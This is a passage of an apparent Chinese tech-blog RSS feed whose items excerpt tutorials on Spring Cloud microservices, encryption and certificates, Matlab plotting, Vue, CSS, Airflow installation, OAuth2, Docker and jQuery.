      <description>目录&#xA;分布式架构&#xA;微服务是一种经过良好架构设计的分布式架构方案&#xA;SpringCloud是目前国内使用最广泛的微服务框架&#xA;服务拆分原则&#xA;Eureka&#xA;Ribbon负载均衡&#xA;Ribbon负载均衡的原理&#xA;Ribbon负载均衡策略IRule&#xA;Ribbon饥饿加载&#xA;Nacos注册中心&#xA;Nacos同集群优先的负载均衡&#xA;权重配置&#xA;环境隔离&#xA;Nacos与Eureka的区别&#xA;Nacos除了可以做注册中心，同样可以做配置管理来使用&#xA;配置热更新&#xA;配置共享的优先级&#xA;Feign远程调用&#xA;如何使用&#xA;自定义配置&#xA;Feign使用优化&#xA;最佳实践&#xA;Gateway服务网关&#xA;网关作用&#xA;断言&#xA;过滤器工厂&#xA;路由过滤器的种类&#xA;过滤器的作用是什么？&#xA;全局过滤器&#xA;过滤器执行顺序&#xA;Gateway解决跨域问题&#xA;解决跨域问题&#xA;分布式架构 根据业务功能对系统做拆分，每个业务功能模块作为独立项目开发，称为一个服务。&#xA;分布式架构的优缺点：&#xA;优点：1.降低服务耦合2.有利于服务升级和拓展&#xA;缺点：服务调用关系错综复杂&#xA;微服务是一种经过良好架构设计的分布式架构方案 微服务的架构特征：&#xA;单一职责：微服务拆分粒度更小，每一个服务都对应唯一的业务能力，做到单一职责&#xA;自治：团队独立、技术独立、数据独立，独立部署和交付&#xA;面向服务：服务提供统一标准的接口，与语言和技术无关&#xA;隔离性强：服务调用做好隔离、容错、降级，避免出现级联问题&#xA;微服务的上述特性其实是在给分布式架构制定一个标准&#xA;SpringCloud是目前国内使用最广泛的微服务框架 集成了各种优秀微服务功能组件&#xA;服务拆分原则 不同微服务，不要重复开发相同业务&#xA;微服务数据独立，不要访问其它微服务的数据库&#xA;微服务可以将自己的业务暴露为接口，供其它微服务调用&#xA;Eureka 1.搭建注册中心&#xA;2.服务注册，把服务注册eureka&#xA;3.服务发现，通过负载均衡挑选一个服务，实现远程调用&#xA;Ribbon负载均衡 SpringCloud底层其实是利用了一个名为Ribbon的组件，来实现负载均衡功能的&#xA;为什么我们只输入了service名称就可以访问了呢？之前还要获取ip和端口。&#xA;显然有人帮我们根据service名称，获取到了服务实例的ip和端口。它就是LoadBalancerInterceptor，这个类会在对RestTemplate的请求进行拦截，然后从Eureka根据服务id获取服务列表，随后利用负载均衡算法得到真实的服务地址信息，替换服务id&#xA;Ribbon负载均衡的原理 SpringCloudRibbon的底层采用了一个拦截器，拦截了RestTemplate发出的请求，对地址做了修改。用一幅图来总结一下：&#xA;基本流程如下：&#xA;拦截我们的RestTemplate请求http://userservice/user/1&#xA;RibbonLoadBalancerClient会从请求url中获取服务名称，也就是user-service&#xA;DynamicServerListLoadBalancer根据user-service到eureka拉取服务列表&#xA;eureka返回列表，localhost:8081、localhost:8082&#xA;IRule利用内置负载均衡规则，从列表中选择一个，例如localhost:8081&#xA;RibbonLoadBalancerClient修改请求地址，用localhost:8081替代userservice，得到http://localhost:8081/user/1，发起真实请求&#xA;Ribbon负载均衡策略IRule 默认的实现就是ZoneAvoidanceRule，是一种轮询方案</description>
    </item>
    <item>
      <title>对称加密和非对称加密、公钥和私钥、单向认证和双向认证、数字签名、数字证书、根证书</title>
      <link>https://bchobby.github.io/posts/d7d5a5c1b15bc090cceb3dc27986e277/</link>
      <pubDate>Wed, 08 Feb 2023 14:33:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7d5a5c1b15bc090cceb3dc27986e277/</guid>
      <description>文章目录 1. 什么是公钥和私钥？2. 加密算法2.1 对称加密2.2 非对称加密2.2.1 非对称加密的重要性质2.2.2 非对称加密算法应用2.2.2.1 应用1 加密通信2.2.2.1.1 单向认证和双向认证 2.2.2.1 应用2 数字签名 3. 数字签名3.1 数字签名用法演示3.1.1 最简单用法(校验数据的完整性)2.1.2 复杂用法(校验数据的完整性) 3.2 数字签名存在问题 4. 数字证书(Digital Certificate)4.1 创建数字证书4.1.1 举例，CA如何给我们签发一个有效证书和服务器如何发送证书： 4.2 数字证书究竟解决了什么问题4.2.1 如何攻击数字证书呢 参考： 1. 什么是公钥和私钥？ 摘自《什么是公钥和私钥？》&#xA;公钥（Public Key）与私钥（Private Key）是通过加密算法得到的一个密钥对（即一个公钥和一个私钥，也就是非对称加密方式）。&#xA;公钥可对会话进行加密、验证数字签名，只有使用对应的私钥才能解密会话数据，从而保证数据传输的安全性。公钥是密钥对外公开的部分，私钥则是非公开的部分，由用户(一般是服务端)自行保管。&#xA;公钥和私钥起初均存储在服务器端。 私钥是非公开的，因此仅存放在服务端，而且要避免被窃取，比如存在某网站A的服务器端；公钥是大家都可以获取的，一般是用在客户端，客户端的公钥是从哪来的呢？需要从服务器端获得，比如浏览器就是 一个客户端，当访问网站的时候，需要通过握手协议从网站侧获取&#xA;通过加密算法得到的密钥对可以保证在世界范围内是唯一的。使用密钥对的时候，如果用其中一个密钥加密一段数据，只能使用密钥对中的另一个密钥才能解密数据。例如：用公钥加密的数据必须用对应的私钥才能解密；如果用私钥进行加密也必须使用对应的公钥才能解密，否则将无法成功解密。&#xA;2. 加密算法 摘自：《什么是非对称加密？》&#xA;密码学中有两种技术：一种叫对称加密，另外一种叫非对称加密。&#xA;这次咱们主要聊聊非对称加密，因为公钥和私钥就是非对称加密的成果，但是为了更好的理解非对称加密，我们也会简单介绍对称加密&#xA;2.1 对称加密 采用单钥密码系统的加密方法，同一个密钥可以同时用作信息的加密和解密，这种加密方法称为对称加密，也称为单密钥加密。&#xA;在对称加密算法中常用的算法有：DES、3DES、TDEA、Blowfish、RC2、RC4、RC5、IDEA、SKIPJACK等。&#xA;基本逻辑是这样。如果 Alice 想把一个信息传递给 Bob 。比如信息是一个数字 m ，Alice 不能把这个数字直接传递给 Bob ，因为互联网是一个不安全的环境，很容易被窃听。所以她可以通过一个加密算法，比如，通过给 m 加上一个数字 e ，得到一个数字 c ，这个 c 就叫做密文。这样 Bob 拿到密文 c ，再减去 e 就可以得到信息 m 了。</description>
    </item>
    <item>
      <title>Matlab绘图（第四节-三维曲线）</title>
      <link>https://bchobby.github.io/posts/3f5ee6088fd7ce14d01f0628d55567c0/</link>
      <pubDate>Wed, 08 Feb 2023 14:27:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f5ee6088fd7ce14d01f0628d55567c0/</guid>
      <description>三维图形相比二维图形具有更强的数据表现能力，三位曲线是三维图形的基本形式。&#xA;1.plot3函数 (1) 基本用法为plot3(x,y,z) 其中，参数x，y，z组成一组曲线的坐标。通常x，y，z为长度相同的向量。&#xA;例1：绘制一条空间折线 x=[0.2 1.8 2.5]; y=[1.3 2.8 1.1]; z=[0.4 1.2 1.6]; plot3(x,y,z) grid on%显示网格线 axis([0,3,1,3,0,2])%x轴范围为0~3，y为1~3，z为0~2 例2：绘制螺旋线 t=linspace(0,10*pi,200);%从0到10派等间距取200个点 x=sin(t)+t.*cos(t); y=cos(t)-t.*sin(t); z=t; plot3(x,y,z) (2) plot3（x，y，z） 当x，y，z为同型矩阵时。则以x，y，z所对应列元素绘制曲线。曲线条数等于矩阵列数。&#xA;当x，y，z中有向量也有矩阵时，向量的的长度应与矩阵相符。&#xA;例3：在空间不同位置绘制5条正弦曲线。 %方法一 t=0:0.01:2*pi;%生成行向量t，t的值为0~2*pi间距为0.01的点 t=t&#39;;%将行向量转化成列向量 x=[t,t,t,t,t]; y=[sin(t),sin(t)+1,sin(t)+2,sin(t)+3,sin(t)+4]; z=[t,t,t,t,t];%xyz是五列与t等长的列向量构成的矩阵 plot3(x,y,z) %方法二 t=0:0.01:2*pi; x=t; y=[sin(t),sin(t)+1,sin(t)+2,sin(t)+3,sin(t)+4]; z=t; plot3(x,y,z) (3) 含多组输入参数的plot3函数 plot3（x1，y1，z1，x2，y2，z2，...）&#xA;每一组x，y，z向量构成一组数据点的坐标，绘制一条曲线。&#xA;例4：绘制三条不同长度的正弦曲线。 t1=0:0.01:1.5*pi;%蓝色曲线 t2=0:0.01:1.5*pi;%棕色曲线 t3=0:0.01:1.5*pi;%黄色曲线 plot3(t1,sin(t1),t1,t2,sin(t2)+1,t2,t3,sin(t3)+2,t3) （4） 含选项的plot3函数。 plot3（x，y，z，选项）&#xA;选项用于指定曲线的线型，颜色和数据点标记。&#xA;例5：绘制空间曲线 t=0:pi/50:6*pi;%0到6*pi每隔pi/50取点 x=cos(t); y=sin(t); z=2*t; plot3(x,y,z,&#39;p&#39;)%p代表各点形状为五角星 xlabel(&#39;X&#39;),ylabel(&#39;Y&#39;),zlabel(&#39;Z&#39;);%坐标轴添加标签 grid on%画网格线 2.fplot3函数 条件：当函数曲线由参数方程定义，且参数方程中只有一个自变量。&#xA;fplot3（funx，funy，funz，tlims）&#xA;其中，funx、funy、funz代表定义曲线x、y、z坐标的函数，通常采用函数句柄的形式。tlims为参数函数自变量的取值范围，用二元向量[tmin，tmax]描述，默认为[-5，5]。</description>
    </item>
    <item>
      <title>el-upload上传图片与接收数据后图片的回显</title>
      <link>https://bchobby.github.io/posts/7bd3eaf7ceb2031abce2341d9425495b/</link>
      <pubDate>Wed, 08 Feb 2023 13:34:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bd3eaf7ceb2031abce2341d9425495b/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-card&amp;gt; &amp;lt;el-form :model=&#34;ruleForm&#34; :rules=&#34;rules&#34; ref=&#34;ruleForm&#34; label-width=&#34;100px&#34; class=&#34;demo-ruleForm&#34; @submit.native.prevent&amp;gt; &amp;lt;el-row :gutter=&#34;24&#34;&amp;gt; &amp;lt;el-col :span=&#34;24&#34;&amp;gt; &amp;lt;el-form-item label=&#34;受伤部位图片&#34;&amp;gt; &amp;lt;el-upload :action=&#34;uploadUrl&#34; :limit=&#34;5&#34; list-type=&#34;picture-card&#34; :file-list=&#34;fileList&#34; :on-success=&#34;handleHeadSuccess&#34; :before-upload=&#34;beforeFileUpload&#34; :disabled=&#34;type===&#39;查看检伤&#39;&#34; :on-remove=&#34;handleRemove&#34; ref=&#34;headUpload&#34; :on-preview=&#34;handlePictureCardPreview&#34;&amp;gt; &amp;lt;i class=&#34;el-icon-plus&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;el-dialog :visible.sync=&#34;dialogVisibleimg&#34; :append-to-body=&#34;true&#34;&amp;gt; &amp;lt;img width=&#34;100%&#34; :src=&#34;dialogImageUrl&#34; alt=&#34;&#34;&amp;gt; &amp;lt;/el-dialog&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;/el-form&amp;gt; &amp;lt;/el-card&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#34;prescription&#34;, data() { reurn{ uploadUrl: window.SITE_CONFIG[&#39;fileUploadURL&#39;] + &#39;/singleUpload&#39;, fileList: [], } }, method:{ setForm(form) { this.ruleForm = { ...form } this.</description>
    </item>
    <item>
      <title>C#生成字符文字图标的代码</title>
      <link>https://bchobby.github.io/posts/2040572c02b72adb1950ce68323a225d/</link>
      <pubDate>Wed, 08 Feb 2023 12:47:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2040572c02b72adb1950ce68323a225d/</guid>
      <description> void SetIconX() { //by 2022/12/18 ChatGPT // 创建一个绘图对象 Graphics g = Graphics.FromHwnd(IntPtr.Zero); // 设置字体 Font font = new Font(&#34;Arial&#34;, 14, FontStyle.Regular); // 绘制文字 string text = &#34;I&#39;mAPPICON&#34;.Length&amp;gt;2?&#34;I&#39;mAPPICON&#34;.Substring(0,2):&#34;I&#39;mAPPICON&#34;; SizeF size = g.MeasureString(text, font); // 创建图像 Bitmap bmp = new Bitmap((int)size.Width, (int)size.Height); // 创建绘图对象 Graphics g2 = Graphics.FromImage(bmp); // 使用 DrawString 方法将文字绘制到图像上 g2.DrawString(text, font, Brushes.Black, new PointF(0, 0)); // 创建图标 Icon icon = Icon.FromHandle(bmp.GetHicon()); // 使用 SetIcon 方法更改图标 this.Icon = (icon); } </description>
    </item>
    <item>
      <title>CSS里面的transform 属性</title>
      <link>https://bchobby.github.io/posts/3e47c0fec5835c5da8770da1a2338ea0/</link>
      <pubDate>Wed, 08 Feb 2023 10:37:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e47c0fec5835c5da8770da1a2338ea0/</guid>
      <description>transform 属性是 CSS 中一个用于转换元素形状、大小和位置的属性。它允许开发人员对元素进行以下转换：&#xA;平移 (translation)缩放 (scale)旋转 (rotation)拉伸 (skew)矩阵变换 (matrix) 例如，可以使用以下代码在水平方向上平移元素 100 像素：&#xA;transform: translateX(100px); 使用 transform 属性可以创建很多有趣和令人印象深刻的效果，并且不会改变元素的布局和尺寸。&#xA;transform 属性的语法如下：&#xA;transform: none|transform-functions|initial|inherit; 其中：&#xA;none：没有任何转换效果。transform-functions：一个或多个转换函数，如 translate()、rotate()、scale() 等。initial：设置为初始值。inherit：从父元素继承该属性。 转换函数可以通过组合来实现复杂的转换效果，并且可以在动画中使用，以创建动态和交互式效果。&#xA;总的来说，transform 属性是 CSS 中一个非常强大且灵活的属性，能够在不改变元素的布局和尺寸的情况下，改变元素的形状、大小和位置。&#xA;需要注意的是，不同的浏览器对 transform 属性的支持可能略有不同。例如，早期版本的 Internet Explorer 不支持 transform 属性。因此，开发人员应该使用特定的前缀 (如 -webkit-、-moz-、-ms- 等) 来确保在所有浏览器中都能得到一致的效果。&#xA;另外，还有一个与 transform 相关的属性：transform-origin，它允许开发人员指定一个转换的基点。例如，可以使用以下代码将转换的基点改为元素的顶部中心：&#xA;transform-origin: top center; 通过指定 transform-origin，可以更精确地控制转换的效果，从而创建更有趣和令人印象深刻的效果。&#xA;此外，在使用 transform 属性时，还有一个需要注意的事项：转换是相对于元素的初始位置的。也就是说，如果元素原来位于屏幕的左上角，则通过设置 transform: translate(100px, 100px) 将该元素移动到屏幕的右下角。&#xA;此外，对于需要保留动画效果的元素，还需要注意以下几点：&#xA;避免在动画过程中修改元素的布局（例如通过改变元素的大小或位置），因为这会导致动画的问题。使用流畅的动画曲线（例如 ease-in-out），以使动画更平滑。避免在动画过程中使用极限值（例如缩放到很大或很小的值），因为这可能导致性能问题。 通过了解这些要点，可以创建具有高性能、高可用性和高交互性的动画效果。</description>
    </item>
    <item>
      <title>Visual Studio Code 中自定义vue模板文件的通用内容</title>
      <link>https://bchobby.github.io/posts/235fe0f448136e540a2a466a70e239c8/</link>
      <pubDate>Wed, 08 Feb 2023 10:36:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/235fe0f448136e540a2a466a70e239c8/</guid>
      <description>打开文件后，复制下方内容保存即可，待保存完毕后，在vue文件中输入vue即可生成配置的通用模板&#xA;{ &#34;vue template&#34;: { &#34;prefix&#34;: &#34;vue&#34;, &#34;body&#34;: [ &#34;&amp;lt;template&amp;gt;&#34;, &#34; &amp;lt;section class=\&#34;wrap\&#34;&amp;gt;&amp;lt;/section&amp;gt;&#34;, &#34;&amp;lt;/template&amp;gt;&#34;, &#34;&#34;, &#34;&amp;lt;script&amp;gt;&#34;, &#34;export default {&#34;, &#34; name: \&#34;\&#34;,&#34;, &#34; components: {},&#34;, &#34; props: {},&#34;, &#34; data() {&#34;, &#34; return {};&#34;, &#34; },&#34;, &#34; computed: {},&#34;, &#34; watch: {},&#34;, &#34; created() {},&#34;, &#34; mounted() {},&#34;, &#34; beforeDestroy() {},&#34;, &#34; methods: {},&#34;, &#34;};&#34;, &#34;&amp;lt;/script&amp;gt;&#34;, &#34;&#34;, &#34;&amp;lt;style lang=\&#34;scss\&#34; scoped&amp;gt;&#34;, &#34;@mixin boxSize($$h: 100%, $$w: 100%) {&#34;, &#34; width: $$w;&#34;, &#34;</description>
    </item>
    <item>
      <title>小知识点：Airflow 安装部署</title>
      <link>https://bchobby.github.io/posts/d4bee6f7f8bd0cceb515871cd9b0645c/</link>
      <pubDate>Wed, 08 Feb 2023 09:10:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4bee6f7f8bd0cceb515871cd9b0645c/</guid>
      <description>安装流程 一、Python 安装二、Airflow 安装三、Airflow 配置四、存在的坑 部分安装方法参考： Linux 虚拟机：大数据集群基础环境搭建（Hadoop、Spark、Flink、Hive、Zookeeper、Kafka、Nginx）&#xA;一、Python 安装 当前安装版本为 Python-3.9，使用源码包安装&#xA;下载源码包或者 wget 下载 wget https://www.python.org/ftp/python/3.9.6/Python-3.9.6.tgz 解压到指定目录 tar -zxvf Python-3.9.6.tgz 依赖环境安装 sudo yum -y install vim unzip net-tools &amp;amp;&amp;amp; sudo yum -y install wget &amp;amp;&amp;amp; sudo yum -y install bzip2 &amp;amp;&amp;amp; sudo yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel &amp;amp;&amp;amp; sudo yum -y install libglvnd-glx &amp;amp;&amp;amp; sudo yum -y install gcc gcc-c++ 预配置 cd Python-3.</description>
    </item>
    <item>
      <title>Spring Security 0auth2 认证服务器和资源服务器实现</title>
      <link>https://bchobby.github.io/posts/d5b62f08be31763bf2c0afe6e5d82275/</link>
      <pubDate>Tue, 07 Feb 2023 22:49:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5b62f08be31763bf2c0afe6e5d82275/</guid>
      <description>一，OAuth2开放授权协议/标准 OAuth（开放授权）是⼀个开放协议/标准，允许⽤户授权第三⽅应⽤访问他们存储在另外的服务提供者&#xA;上的信息，⽽不需要将⽤户名和密码提供给第三⽅应⽤或分享他们数据的所有内容。&#xA;允许⽤户授权第三⽅应⽤访问他们存储在另外的服务提供者上的信息，⽽不需要将⽤户名和密码提供给&#xA;第三⽅应⽤或分享他们数据的所有内容&#xA;client_id ：客户端id（QQ最终相当于⼀个认证授权服务器，木瓜餐饮就相当于⼀个客户端了，所以会&#xA;给 ⼀个客户端id），相当于账号&#xA;secret：相当于密码&#xA;资源所有者（Resource Owner）：可以理解为⽤户⾃⼰&#xA;客户端（Client）：我们想登陆的⽹站或应⽤，⽐如淘宝&#xA;认证服务器（Authorization Server）：可以理解为微信或者QQ&#xA;资源服务器（Resource Server）：可以理解为微信或者QQ&#xA;二、什么情况下需要使用OAuth2 第三⽅授权登录的场景：⽐如，我们经常登录⼀些⽹站或者应⽤的时候，可以选择使⽤第三⽅授权登录&#xA;的⽅式，⽐如：微信授权登录、QQ授权登录、微博授权登录等，这是典型的 OAuth2 使⽤场景。&#xA;单点登录的场景：如果项⽬中有很多微服务或者公司内部有很多服务，可以专⻔做⼀个认证中⼼（充当&#xA;认证平台⻆⾊），所有的服务都要到这个认证中⼼做认证，只做⼀次登录，就可以在多个授权范围内的&#xA;服务中⾃由串⾏。&#xA;OAuth2的颁发Token授权⽅式&#xA;1）授权码（authorization-code）2）密码式（password）提供⽤户名+密码换取token令牌&#xA;3）隐藏式（implicit） 4）客户端凭证（client credentials）&#xA;授权码模式使⽤到了回调地址，是最复杂的授权⽅式，微博、微信、QQ等第三⽅登录就是这种模式。我&#xA;们说接⼝对接中常使⽤的password密码模式（提供⽤户名+密码换取token）。&#xA;三、Spring Cloud OAuth2 + JWT 实现 Spring Cloud OAuth2 是 Spring Cloud 体系对OAuth2协议的实现，可以⽤来做多个微服务的统⼀认证&#xA;（验证身份合法性）授权（验证权限）。通过向OAuth2服务（统⼀认证授权服务）发送某个类型的&#xA;grant_type进⾏集中认证和授权，从⽽获得access_token（访问令牌），⽽这个token是受其他微服务&#xA;信任的。&#xA;注意：使⽤OAuth2解决问题的本质是，引⼊了⼀个认证授权层，认证授权层连接了资源的拥有者，在&#xA;授权层⾥⾯，资源的拥有者可以给第三⽅应⽤授权去访问我们的某些受保护资源&#xA;1，授权服务器 1，pom 导入&#xA;&amp;lt;!--导入spring cloud oauth2依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-oauth2&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.0.RELEASE&amp;lt;/version&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.security.oauth.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-security-oauth2-autoconfigure&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.security.oauth.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-security-oauth2-autoconfigure&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.</description>
    </item>
    <item>
      <title>cmd有效，vscode无效——node : 无法将“node”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。 请检查名称的拼写，如果包括路径，请确保路径正确，然后再试一次。</title>
      <link>https://bchobby.github.io/posts/f665b710c61b89dd69446dd5524c98bf/</link>
      <pubDate>Tue, 07 Feb 2023 21:02:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f665b710c61b89dd69446dd5524c98bf/</guid>
      <description>分为两种情况，第一种是在cmd中能够查看版本而vscode中不行，第二种是在cmd中也无法查看。&#xA;第一步：在cmd中测试 1.在搜索中输入“cmd”，打开命令提示符&#xA;2.输入下面代码，回车&#xA;node -v npm -v 3.如果能如图显示版本号，说明安装没问题，符合第一种情况。如果这里也报错，则符合第二种情况&#xA;第二步：解决方法 情况1：cmd有效，vscode无效 将vscode以管理员方式打开即可&#xA;右键vscode图标–&amp;gt;属性 --&amp;gt;兼容性 --&amp;gt;将“以管理员身份运行程序”选中。&#xA;设置完重新进入vscode，再次尝试即可。&#xA;情况2：cmd无效 有很多博主写过解决方案，这里附上链接供参考&#xA;node : 无法将“node”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写，如果包括路径，请确保路径正 确，然后再试一次 的解决方案&#xA;个人笔记，仅供参考！</description>
    </item>
    <item>
      <title>带你了解docker是什么----基础原理篇（一）</title>
      <link>https://bchobby.github.io/posts/b37cd9ca3b42c0ddeef71eeb19d5a5c6/</link>
      <pubDate>Tue, 07 Feb 2023 20:28:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b37cd9ca3b42c0ddeef71eeb19d5a5c6/</guid>
      <description>docker 容器是如何工作的?docker的架构docker 镜像常用命令base 镜像 镜像的分层结构 构建镜像dockerfile镜像的缓存特性dockerfile 构建镜像过程dockerfile 常用指令 RUN 、CMD和ENTRYPOINTshell 和Excel 格式 分发镜像 容器是如何工作的? docker的架构 docker的核心组件如下：&#xA;docker的客户端：client。我们最常用的客户端就是docker命令。docker服务器：docker daemon ，一Linux后台服务的方式运行。运行在docker host 上，负责创建、运行、监控容器，构建、存储镜像。默认下，智能响应本地host的客户端的请求。docker镜像：imageregistrydocker容器：container 组件之间的联系如下图&#xA;docker采用的是client/server的架构。客户端向服务器发送请求，服务器负责构建、运行和分发容器。&#xA;客户端和服务器可以运行在同一个host上。（我们电脑中一般使用的就是这种情况），当然客户端也可以通过socket与远程的服务器通信。&#xA;docker 镜像 常用命令 docker images ：查看镜像的信息docker run -it dockerID ：运行指定ID的docker 镜像build ：从 dockerfile 构建镜像tag：给镜像打tagpull ： 从registry下载镜像push：将镜像上传到registryrmi：删除docker host 中的镜像search ： 搜索docker hub 中的镜像images：显示镜像列表history：显示镜像构建历史commit ：从容器创建新镜像 base 镜像 base镜像含义为：（1）不依赖其他镜像，从scratch构建；（2）其他镜像可以在该镜像基础上进行扩展。&#xA;通常情况下，能称为base镜像的是各种Linux发行版的docker镜像，如Ubuntu、centOS等&#xA;一般基础镜像会与我们实际的大小有所出入。比如一个centOS才200MB左右，当时平时我们按照一个centOS至少都有几个G。原因如下：&#xA;Linux操作系统大致是由内核空间和用户空间组成。如下图，内核指的是一个提供设备驱动、文件系统、进程管理、网络通信等功能的系统软件，但一个内核并不是一套完整的操作系统，它只是操作系统的核心。一些组织或厂商将Linux内核与各种软件和文档包装起来，并提供系统安装界面和系统配置、设定与管理工具，就构成了Linux的发行版本。内核空间是kernel，Linux刚启动时会加载bootfs文件系统，之后bootfs会被卸载掉。用户空间的文件系统是rootfs，包含我们熟悉的 /dev 、 /proc、/bin等目录。如下图对于base镜像来说，底层直接使用host的kernel，自己只需要提供rootfs就可以了。（所以这也就解释了按照docker的时候，对于Windows操作系统需要安装一下一个Linux的一个发行版）。而对于一个精简的OS，rootfs可以很小，只需要包括最基本的命令、工具和程序就可以了。不同Linux发行版的区别主要就是rootfs，因此docker可以同时支持多种Linux镜像。同时，这也从侧面反映了主流的Linux发行版的内核是兼容的。什么说呢？比如我们在docker中有多个不同发行版的Linux，但是host中只有Ubuntu 的一个内核，那么其实，这些在docker中的Linux镜像使用的都是这个host中的内核。 镜像的分层结构 docker支持通过扩展现有镜像，创建新的镜像。&#xA;下图为一个具体的例子：&#xA;首先，这么做的一个好处就是共享资源。 比如，有多个镜像都从相同的base镜像构建而来的，那么docker host 只需要在磁盘上保存一份base镜像；同时内存中也需要加载一份base镜像就可以为所有容器服务了。而且，镜像的每一层都可以被共享。多个容器共享一份基础镜像，那么在修改的时候就需要进行一些技巧：在docker中使用的就是创建一个容器层。 所有对容器的改动，无论添加、删除，还是修改文件都只会发生在容器层中。只有容器层是可写的，容器层下面的所有镜像都是只读的。 构建镜像 对于Docker用户来说，最好的情况是不需要自己创建镜像。几乎所有常用的数据库、中间件、应用软件等都有现成的Docker官方镜像或其他人和组织创建的镜像，我们只需要稍作配置就可以直接使用。&#xA;当然，有的情况下我们还是需要自己来创建镜像的。docker提供了两种创建镜像的方法：①docker commit 命令（命令行方式）；②使用dockerfile 构建文件。一般使用的是后者，因此，这篇介绍的是后者。</description>
    </item>
    <item>
      <title>jQuery库的基本使用</title>
      <link>https://bchobby.github.io/posts/1f9b06d8541f9b402e3371681b2c3572/</link>
      <pubDate>Tue, 07 Feb 2023 19:47:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f9b06d8541f9b402e3371681b2c3572/</guid>
      <description>目录&#xA;一：由来&#xA;二：下载&#xA;三：使用&#xA;1.引入：使用jQuery首先要引入脚本&#xA;2.元素选取：$(&#34;css选择器&#34;)&#xA;3.改变选取元素的样式：$(&#39;css选择器&#39;).css(&#39;属性&#39;, &#39;属性值&#39;)&#xA;3.class类名的改变：&#xA;4.事件绑定&#xA;5.元素的显示与隐藏：&#xA;6.滑动效果的显示与隐藏&#xA;7.$()的重载&#xA;8.链式语法&#xA;9.动画animate（）&#xA;10.读写标签属性&#xA;11. 封装的Ajax&#xA;12.事件委托 ： on（）&#xA;13.加载页面：$(&#39;css选择器&#39;).load(&#39;路径&#39;) 14.生成标签内容&#xA;一：由来 原生的document操作,由于其API过于复杂,书写比较繁琐,例如获取上一个兄弟元素: previousElementSibling，太长了！所以出现了jQuery库简化dom操作。&#xA;2006年出品了一个库 ---- jQuery ：理念write less do more，在当时是非常好用的一个库。年代久远逐渐被替代。&#xA;二：下载 官方网站：https://jquery.com/&#xA;下载：现在是2023-02-04 更新到了3.6.3版本&#xA;有两个版本 1. 开发板：有美化和注释，能够帮助学习人员更好的理解代码，体积大&#xA;2.产品版： 没有美化不利于阅读，体积小加载快&#xA;三：使用 1.引入：使用jQuery首先要引入脚本 2.元素选取：$(&#34;css选择器&#34;) 1. 该元素的下一个弟弟元素： next（）&#xA;2. 该元素的上一个哥哥元素: prev()&#xA;3. 该元素的其他兄和弟元素： siblings（） 不包括本身&#xA;4. 该元素在兄弟元素中的下标：index（）&#xA;5.通过下标选取元素： eq（） 6.该元素的父元素：parent（） &amp;lt;body&amp;gt; &amp;lt;div class=&#34;parent&#34;&amp;gt; &amp;lt;div class=&#34;son1&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;son2&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;son3&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;script src=&#34;</description>
    </item>
    <item>
      <title>threejs多种方式封装飞线组件（几何、贴图、着色器）</title>
      <link>https://bchobby.github.io/posts/08970e063209c06a459b3257040c60fc/</link>
      <pubDate>Tue, 07 Feb 2023 19:42:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08970e063209c06a459b3257040c60fc/</guid>
